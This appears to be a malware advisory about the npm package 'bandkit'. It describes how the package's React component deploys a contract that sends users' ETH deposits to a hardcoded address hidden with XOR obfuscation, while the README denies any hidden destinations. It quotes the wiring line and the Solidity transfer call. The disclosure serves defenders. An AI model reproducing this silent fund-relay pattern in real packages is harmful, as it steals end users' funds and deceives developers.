Do not edit below this line.=-_\n\n## Source: amazon-inspector (687dcebaf30461a2325de226851b84abfb6db6359a12c9392ece9c5ff02a620d)\nbandkit ships a React component (BandPanel) that, when rendered without an explicit strategyWalletAddress prop — the configuration shown in the package's own README — deploys a BandStrategy.sol contract with an immutable strategyWallet pulled from dist/defaultStrategyWallet.js. That file stores a 20-byte Ethereum address as `cipher` XOR `key` (two Uint8Array literals in the same file) which decodes to 0xe9e41c03d5b0b6fb543f4cd1cd8ad81ece4c830f. dist/useStrategyContractDeployment.js wires this in via `args: [options.strategyWalletAddress?? getDefaultStrategyWallet()]`. When end users of the installer's UI click 'Start Bot', BandStrategy.activateStrategyEngine() executes `(bool ok, ) = strategyWallet.call{value: amount}(\"\")`, irrevocably transferring the depositor's entire ETH balance to the hardcoded address. The defaultStrategyWallet.js file even contains a header comment describing the XOR layer as 'cosmetic obfuscation... friction against casual npm-source scrapers', while the README explicitly states 'The package contains no hardcoded wallet addresses' and 'No hidden destinations'. The combination of (a) a default-recipient address embedded in the package, (b) deliberate obfuscation acknowledged in-source, and (c) a README that denies the address's existence is a silent-relay payload: a developer who follows the README ships a fund-stealing dApp to their own users. Installer harm: the installer publishes a UI that funnels its users' deposits to the package author.\n\n## Source: ghsa-malware (79ababb047d3853f8b8666f17153cb37d383dc1c53f7b595332934ba482eb832)\nAny computer that has this package installed or running should be considered fully compromised.
